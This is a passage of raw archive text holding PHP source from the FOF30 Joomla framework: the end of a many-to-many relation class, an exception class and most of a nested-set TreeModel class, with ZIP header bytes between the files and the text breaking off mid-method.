null) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $db = $foreignModel->getDbo(); if (empty($tableAlias)) { $tableAlias = $this->parentModel->getTableName(); } $query = $db->getQuery(true) ->select('COUNT(*)') ->from($db->qn($foreignModel->getTableName()) . ' AS ' . $db->qn('reltbl')) ->innerJoin( $db->qn($this->pivotTable) . ' AS ' . $db->qn('pivotTable') . ' ON(' . $db->qn('pivotTable') . '.' . $db->qn($this->pivotForeignKey) . ' = ' . $db->qn('reltbl') . '.' . $db->qn($foreignModel->getFieldAlias($this->foreignKey)) . ')' ) ->where( $db->qn('pivotTable') . '.' . $db->qn($this->pivotLocalKey) . ' =' . $db->qn($tableAlias) . '.' . $db->qn($this->parentModel->getFieldAlias($this->localKey)) ); return $query; } /** * Saves all related items. For many-to-many relations there are two things we have to do: * 1. Save all related items; and * 2. Overwrite the pivot table data with the new associations */ public function saveAll() { // Save all related items parent::saveAll(); $this->saveRelations(); } /** * Overwrite the pivot table data with the new associations */ public function saveRelations() { // Get all the new keys $newKeys = []; if ($this->data instanceof DataModel\Collection) { foreach ($this->data as $item) { if ($item instanceof DataModel) { $newKeys[] = $item->getId(); } elseif (!is_object($item)) { $newKeys[] = $item; } } } $newKeys = array_unique($newKeys); $db = $this->parentModel->getDbo(); $localKeyValue = $this->parentModel->getFieldValue($this->localKey); // Kill all existing relations in the pivot table $query = $db->getQuery(true) ->delete($db->qn($this->pivotTable)) ->where($db->qn($this->pivotLocalKey) . ' = ' . $db->q($localKeyValue)); $db->setQuery($query); $db->execute(); // Write the new relations to the database $protoQuery = $db->getQuery(true) ->insert($db->qn($this->pivotTable)) ->columns([$db->qn($this->pivotLocalKey), $db->qn($this->pivotForeignKey)]); $i = 0; $query = null; foreach ($newKeys as $key) { $i++; if (is_null($query)) { $query = clone $protoQuery; } $query->values($db->q($localKeyValue) . ', ' . $db->q($key)); if (($i % 50) == 0) { $db->setQuery($query); $db->execute(); $query = null; } } if (!is_null($query)) { $db->setQuery($query); $db->execute(); } } /** * This is not supported by the belongsTo relation * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ public function getNew() { throw new DataModel\Relation\Exception\NewNotSupported("getNew() is not supported for many-to-may relations. Please add/remove items from the relation data and use push() to effect changes."); } /** * Applies the relation filters to the foreign model when getData is called * * @param DataModel $foreignModel The foreign model you're operating on * @param DataModel\Collection $dataCollection If it's an eager loaded relation, the collection of loaded * parent records * * @return boolean Return false to force an empty data collection */ protected function filterForeignModel(DataModel $foreignModel, DataModel\Collection $dataCollection = null) { $db = $this->parentModel->getDbo(); // Decide how to proceed, based on eager or lazy loading if (is_object($dataCollection)) { // Eager loaded relation if (!empty($dataCollection)) { // Get a list of local keys from the collection $values = []; /** @var $item DataModel */ foreach ($dataCollection as $item) { $v = $item->getFieldValue($this->localKey, null); if (!is_null($v)) { $values[] = $v; } } // Keep only unique values $values = array_unique($values); $values = array_map(function ($x) use (&$db) { return $db->q($x); }, $values); // Get the foreign keys from the glue table $query = $db->getQuery(true) ->select([$db->qn($this->pivotLocalKey), $db->qn($this->pivotForeignKey)]) ->from($db->qn($this->pivotTable)) ->where($db->qn($this->pivotLocalKey) . ' IN(' . implode(',', $values) . ')'); $db->setQuery($query); $foreignKeysUnmapped = $db->loadRowList(); $this->foreignKeyMap = []; $foreignKeys = []; foreach ($foreignKeysUnmapped as $unmapped) { $local = $unmapped[0]; $foreign = $unmapped[1]; if (!isset($this->foreignKeyMap[$local])) { $this->foreignKeyMap[$local] = []; } $this->foreignKeyMap[$local][] = $foreign; $foreignKeys[] = $foreign; } // Keep only unique values. However, the array keys are all screwed up. See below. $foreignKeys = array_unique($foreignKeys); // This looks stupid, but it's required to reset the array keys. Without it where() below fails. $foreignKeys = array_merge($foreignKeys); // Apply the filter if (!empty($foreignKeys)) { $foreignModel->where($this->foreignKey, 'in', $foreignKeys); } else { return false; } } else { return false; } } else { // Lazy loaded relation; get the single local key $localKey = $this->parentModel->getFieldValue($this->localKey, null); if (is_null($localKey) || ($localKey === '')) { return false; } $query = $db->getQuery(true) ->select($db->qn($this->pivotForeignKey)) ->from($db->qn($this->pivotTable)) ->where($db->qn($this->pivotLocalKey) . ' = ' . $db->q($localKey)); $db->setQuery($query); $foreignKeys = $db->loadColumn(); $this->foreignKeyMap[$localKey] = $foreignKeys; // If there are no foreign keys (no foreign items assigned to our item) we return false which then causes // the relation to return null, marking the lack of data. if (empty($foreignKeys)) { return false; } $foreignModel->where($this->foreignKey, 'in', $this->foreignKeyMap[$localKey]); } return true; } } PK���\�$���'fof30/Model/Exception/CannotGetName.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we can't get a Controller's name */ class CannotGetName extends RuntimeException { public function __construct($message = "", $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_GET_NAME'); } parent::__construct($message, $code, $previous); } } PK���\���f����fof30/Model/TreeModel.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Model\DataModel\Exception\TreeIncompatibleTable; use FOF30\Model\DataModel\Exception\TreeInvalidLftRgtCurrent; use FOF30\Model\DataModel\Exception\TreeInvalidLftRgtOther; use FOF30\Model\DataModel\Exception\TreeInvalidLftRgtParent; use FOF30\Model\DataModel\Exception\TreeInvalidLftRgtSibling; use FOF30\Model\DataModel\Exception\TreeMethodOnlyAllowedInRoot; use FOF30\Model\DataModel\Exception\TreeRootNotFound; use FOF30\Model\DataModel\Exception\TreeUnexpectedPrimaryKey; use FOF30\Model\DataModel\Exception\TreeUnsupportedMethod; use JDatabaseQuery; use Joomla\CMS\Application\ApplicationHelper; use RuntimeException; use UnexpectedValueException; /** * A DataModel which implements nested trees * * @property int $lft Left value (for nested set implementation) * @property int $rgt Right value (for nested set implementation) * @property string $hash Slug hash (for faster searching) */ class TreeModel extends DataModel { /** @var int The level (depth) of this node in the tree */ protected $treeDepth = null; /** @var TreeModel The root node in the tree */ protected $treeRoot = null; /** @var TreeModel The parent node of ourselves */ protected $treeParent = null; /** @var bool Should I perform a nested get (used to query ascendants/descendants) */ protected $treeNestedGet = false; /** * Public constructor. Overrides the parent constructor, making sure there are lft/rgt columns which make it * compatible with nested sets. * * @param Container $container The configuration variables to this model * @param array $config Configuration values for this model * * @throws RuntimeException When lft/rgt columns are not found * @see \FOF30\Model\DataModel::__construct() * */ public function __construct(Container $container = null, array $config = []) { parent::__construct($container, $config); if (!$this->hasField('lft') || !$this->hasField('rgt')) { throw new TreeIncompatibleTable($this->tableName); } } /** * Overrides the automated table checks to handle the 'hash' column for faster searching * * @return $this|DataModel */ public function check() { // Create a slug if there is a title and an empty slug if ($this->hasField('title') && $this->hasField('slug') && !$this->slug) { $this->slug = ApplicationHelper::stringURLSafe($this->title); } // Create the SHA-1 hash of the slug for faster searching (make sure the hash column is CHAR(64) to take // advantage of MySQL's optimised searching for fixed size CHAR columns) if ($this->hasField('hash') && $this->hasField('slug')) { $this->hash = sha1($this->slug); } // Reset cached values $this->resetTreeCache(); // Run the parent checks parent::check(); return $this; } /** * Delete a node, either the currently loaded one or the one specified in $id. If an $id is specified that node * is loaded before trying to delete it. In the end the data model is reset. If the node has any children nodes * they will be removed before the node itself is deleted. * * @param mixed $id Primary key (id field) value * * @return $this for chaining * @throws UnexpectedValueException * */ public function forceDelete($id = null) { // Load the specified record (if necessary) if (!empty($id)) { $this->findOrFail($id); } $k = $this->getIdFieldName(); $pk = (!$id) ? $this->$k : $id; // If no primary key is given, return false. if (!$pk) { throw new TreeUnexpectedPrimaryKey; } // Execute the logic only if I have a primary key, otherwise I could have weird results // Perform the checks on the current node *BEFORE* starting to delete the children try { $this->triggerEvent('onBeforeDelete', [&$pk]); } catch (Exception $e) { return false; } $result = true; // Recursively delete all children nodes as long as we are not a leaf node if (!$this->isLeaf()) { // Get all sub-nodes $table = $this->getClone(); $table->bind($this->getData()); $subNodes = $table->getDescendants(); // Delete all subnodes (goes through the model to trigger the observers) if (!empty($subNodes)) { /** @var TreeModel $item */ foreach ($subNodes as $item) { // We have to pass the id, so we are getting it again from the database. // We have to do in this way, since a previous child could have changed our lft and rgt values if (!$item->forceDelete($item->$k)) { // A subnode failed or prevents the delete, continue deleting other nodes, // but preserve the current node (ie the parent) $result = false; } } // Load it again, since while deleting a children we could have updated ourselves, too $this->find($pk); } } if ($result) { $db = $this->getDbo(); // Delete the row by primary key. $query = $db->getQuery(true); $query->delete(); $query->from($this->getTableName()); $query->where($db->qn($this->getIdFieldName()) . ' = ' . $db->q($pk)); $db->setQuery($query)->execute(); $this->triggerEvent('onAfterDelete', [&$pk]); } return $this; } /** * Not supported in nested sets * * @param string $where Ignored * * @return static Self, for chaining * * @throws RuntimeException */ public function reorder($where = '') { throw new TreeUnsupportedMethod(__METHOD__); } /** * Not supported in nested sets * * @param integer $delta Ignored * @param string $where Ignored * * @return static Self, for chaining * * @throws RuntimeException */ public function move($delta, $where = '') { throw new TreeUnsupportedMethod(__METHOD__); } /** * Create a new record with the provided data. It is inserted as the last child of the current node's parent * * @param array $data The data to use in the new record * * @return static The new node */ public function create($data) { $newNode = $this->getClone(); $newNode->reset(); $newNode->bind($data); if ($this->isRoot()) { return $newNode->insertAsChildOf($this); } else { $parentNode = $this->getParent(); return $newNode->insertAsChildOf($parentNode); } } /** * Makes a copy of the record, inserting it as the last child of the current node's parent. * * @return static * * @codeCoverageIgnore */ public function copy($data = null) { $selfData = $this->toArray(); if (!is_array($data)) { $data = []; } $data = array_merge($data, $selfData); return $this->create($data); } /** * Reset the record data and the tree cache * * @param boolean $useDefaults Should I use the default values? Default: yes * @param boolean $resetRelations Should I reset the relations too? Default: no * * @return static Self, for chaining * * @codeCoverageIgnore */ public function reset($useDefaults = true, $resetRelations = false) { $this->resetTreeCache(); return parent::reset($useDefaults, $resetRelations); } /** * Insert the current node as a tree root. It is a good idea to never use this method, instead providing a root node * in your schema installation and then sticking to only one root. * * @return static * * @throws RuntimeException */ public function insertAsRoot() { // You can't insert a node that is already saved i.e. the table has an id if ($this->getId()) { throw new TreeMethodOnlyAllowedInRoot(__METHOD__); } // First we need to find the right value of the last parent, a.k.a. the max(rgt) of the table $db = $this->getDbo(); // Get the lft/rgt names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $query = $db->getQuery(true) ->select('MAX(' . $fldRgt . ')') ->from($db->qn($this->tableName)); $maxRgt = $db->setQuery($query, 0, 1)->loadResult(); if (empty($maxRgt)) { $maxRgt = 0; } $this->lft = ++$maxRgt; $this->rgt = ++$maxRgt; return $this->save(); } /** * Insert the current node as the first (leftmost) child of a parent node. * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $parentNode The node which will become our parent * * @return $this for chaining * @throws Exception * @throws RuntimeException */ public function insertAsFirstChildOf(TreeModel &$parentNode) { if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's rgt $myLeft = $parentNode->lft; // Update my lft/rgt values $this->lft = $myLeft + 1; $this->rgt = $myLeft + 2; // Update parent node's right (we added two elements in there, remember?) $parentNode->rgt += 2; // Wrap everything in a transaction $db->transactionStart(); try { // Make a hole (2 queries) $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . ' > ' . $db->q($myLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+ 2') ->where($fldRgt . '>' . $db->q($myLeft)); $db->setQuery($query)->execute(); // Insert the new node $this->save(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { // Roll back the transaction on error $db->transactionRollback(); throw $e; } return $this; } /** * Insert the current node as the last (rightmost) child of a parent node. * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $parentNode The node which will become our parent * * @return $this for chaining * @throws Exception * @throws RuntimeException */ public function insertAsLastChildOf(TreeModel &$parentNode) { if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's lft $myRight = $parentNode->rgt; // Update my lft/rgt values $this->lft = $myRight; $this->rgt = $myRight + 1; // Update parent node's right (we added two elements in there, remember?) $parentNode->rgt += 2; // Wrap everything in a transaction $db->transactionStart(); try { // Make a hole (2 queries) $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+2') ->where($fldRgt . '>=' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . '>' . $db->q($myRight)); $db->setQuery($query)->execute(); // Insert the new node $this->save(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { // Roll back the transaction on error $db->transactionRollback(); throw $e; } return $this; } /** * Alias for insertAsLastchildOf * * @codeCoverageIgnore * * @param TreeModel $parentNode * * @return $this for chaining */ public function insertAsChildOf(TreeModel &$parentNode) { return $this->insertAsLastChildOf($parentNode); } /** * Insert the current node to the left of (before) a sibling node * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $siblingNode We will be inserted before this node * * @return $this for chaining * @throws Exception * @throws RuntimeException */ public function insertLeftOf(TreeModel &$siblingNode) { if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's rgt $myLeft = $siblingNode->lft; // Update my lft/rgt values $this->lft = $myLeft; $this->rgt = $myLeft + 1; // Update sibling's lft/rgt values $siblingNode->lft += 2; $siblingNode->rgt += 2; $db->transactionStart(); try { $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . ' >= ' . $db->q($myLeft)) )->execute(); $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+2') ->where($fldRgt . ' > ' . $db->q($myLeft)) )->execute(); $this->save(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { $db->transactionRollback(); throw $e; } return $this; } /** * Insert the current node to the right of (after) a sibling node * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $siblingNode We will be inserted after this node * * @return $this for chaining * @throws Exception * @throws RuntimeException */ public function insertRightOf(TreeModel &$siblingNode) { if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's lft $myRight = $siblingNode->rgt; // Update my lft/rgt values $this->lft = $myRight + 1; $this->rgt = $myRight + 2; $db->transactionStart(); try { $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+2') ->where($fldRgt . ' > ' . $db->q($myRight)) )->execute(); $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . ' > ' . $db->q($myRight)) )->execute(); $this->save(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { $db->transactionRollback(); throw $e; } return $this; } /** * Alias for insertRightOf * * @codeCoverageIgnore * * @param TreeModel $siblingNode * * @return $this for chaining */ public function insertAsSiblingOf(TreeModel &$siblingNode) { return $this->insertRightOf($siblingNode); } /** * Move the current node (and its subtree) one position to the left in the tree, i.e. before its left-hand sibling * * @return $this * @throws RuntimeException * */ public function moveLeft() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } // If it is a root node we will not move the node (roots don't participate in tree ordering) if ($this->isRoot()) { return $this; } // Are we already the leftmost node? $parentNode = $this->getParent(); if ($parentNode->lft == ($this->lft - 1)) { return $this; } // Get the sibling to the left $db = $this->getDbo(); $leftSibling = $this->getClone()->reset() ->whereRaw($db->qn($this->getFieldAlias('rgt')) . ' = ' . $db->q($this->lft - 1)) ->firstOrFail(); // Move the node return $this->moveToLeftOf($leftSibling); } /** * Move the current node (and its subtree) one position to the right in the tree, i.e. after its right-hand sibling * * @return $this * @throws RuntimeException * */ public function moveRight() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } // If it is a root node we will not move the node (roots don't participate in tree ordering) if ($this->isRoot()) { return $this; } // Are we already the rightmost node? $parentNode = $this->getParent(); if ($parentNode->rgt == ($this->rgt + 1)) { return $this; } // Get the sibling to the right $db = $this->getDbo(); $rightSibling = $this->getClone()->reset() ->whereRaw($db->qn($this->getFieldAlias('lft')) . ' = ' . $db->q($this->rgt + 1)) ->firstOrFail(); // Move the node return $this->moveToRightOf($rightSibling); } /** * Moves the current node (and its subtree) to the left of another node. The other node can be in a different * position in the tree or even under a different root. * * @param TreeModel $siblingNode * * @return $this for chaining * * @throws Exception * @throws RuntimeException */ public function moveToLeftOf(TreeModel $siblingNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $sibLeft = $siblingNode->lft; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newSibLeft = ($sibLeft > $myRight) ? $sibLeft - $myWidth : $sibLeft; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' >= ' . $db->q($newSibLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' >= ' . $db->q($newSibLeft)); $db->setQuery($query)->execute(); // Move node and subnodes $moveRight = $newSibLeft - $myLeft; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Moves the current node (and its subtree) to the right of another node. The other node can be in a different * position in the tree or even under a different root. * * @param TreeModel $siblingNode * * @return $this for chaining * * @throws Exception * @throws RuntimeException */ public function moveToRightOf(TreeModel $siblingNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $sibRight = $siblingNode->rgt; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newSibRight = ($sibRight > $myRight) ? $sibRight - $myWidth : $sibRight; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($newSibRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($newSibRight)); $db->setQuery($query)->execute(); // Move node and subnodes $moveRight = ($sibRight > $myRight) ? $sibRight - $myRight : $sibRight - $myRight + $myWidth; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Alias for moveToRightOf * * @param TreeModel $siblingNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makeNextSiblingOf(TreeModel $siblingNode) { return $this->moveToRightOf($siblingNode); } /** * Alias for makeNextSiblingOf * * @param TreeModel $siblingNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makeSiblingOf(TreeModel $siblingNode) { return $this->makeNextSiblingOf($siblingNode); } /** * Alias for moveToLeftOf * * @param TreeModel $siblingNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makePreviousSiblingOf(TreeModel $siblingNode) { return $this->moveToLeftOf($siblingNode); } /** * Moves a node and its subtree as a the first (leftmost) child of $parentNode * * @param TreeModel $parentNode * * @return $this for chaining * * @throws Exception * @throws RuntimeException */ public function makeFirstChildOf(TreeModel $parentNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $parentRight = $parentNode->rgt; $parentLeft = $parentNode->lft; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newParentLeft = ($parentLeft > $myRight) ? $parentLeft - $myWidth : $parentLeft; $newParentRight = ($parentRight > $myRight) ? $parentRight - $myWidth : $parentRight; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' >= ' . $db->q($newParentLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($newParentLeft)); $db->setQuery($query)->execute(); // Move node and subnodes $moveRight = $newParentLeft - $myLeft + 1; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Moves a node and its subtree as a the last (rightmost) child of $parentNode * * @param TreeModel $parentNode * * @return $this for chaining * * @throws Exception * @throws RuntimeException */ public function makeLastChildOf(TreeModel $parentNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $parentRight = $parentNode->rgt; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newLeft = ($parentRight > $myRight) ? $parentRight - $myWidth : $parentRight; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' >= ' . $db->q($newLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' >= ' . $db->q($newLeft)); $db->setQuery($query)->execute(); // Move node and subnodes $moveRight = ($parentRight > $myRight) ? $parentRight - $myRight - 1 : $parentRight - $myRight - 1 + $myWidth; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Alias for makeLastChildOf * * @param TreeModel $parentNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makeChildOf(TreeModel $parentNode) { return $this->makeLastChildOf($parentNode); } /** * Makes the current node a root (and moving its entire subtree along the way). This is achieved by moving the node * to the right of its root node * * @return $this for chaining */ public function makeRoot() { // Make sure we are not a root if ($this->isRoot()) { return $this; } // Get a reference to my root $myRoot = $this->getRoot(); // Double check I am not a root if ($this->equals($myRoot)) { return $this; } // Move myself to the right of my root $this->moveToRightOf($myRoot); $this->treeDepth = 0; return $this; } /** * Gets the level (depth) of this node in the tree. The result is cached in $this->treeDepth for faster fetch. * * @return int|mixed * @throws RuntimeException * */ public function getLevel() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if (is_null($this->treeDepth)) { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = 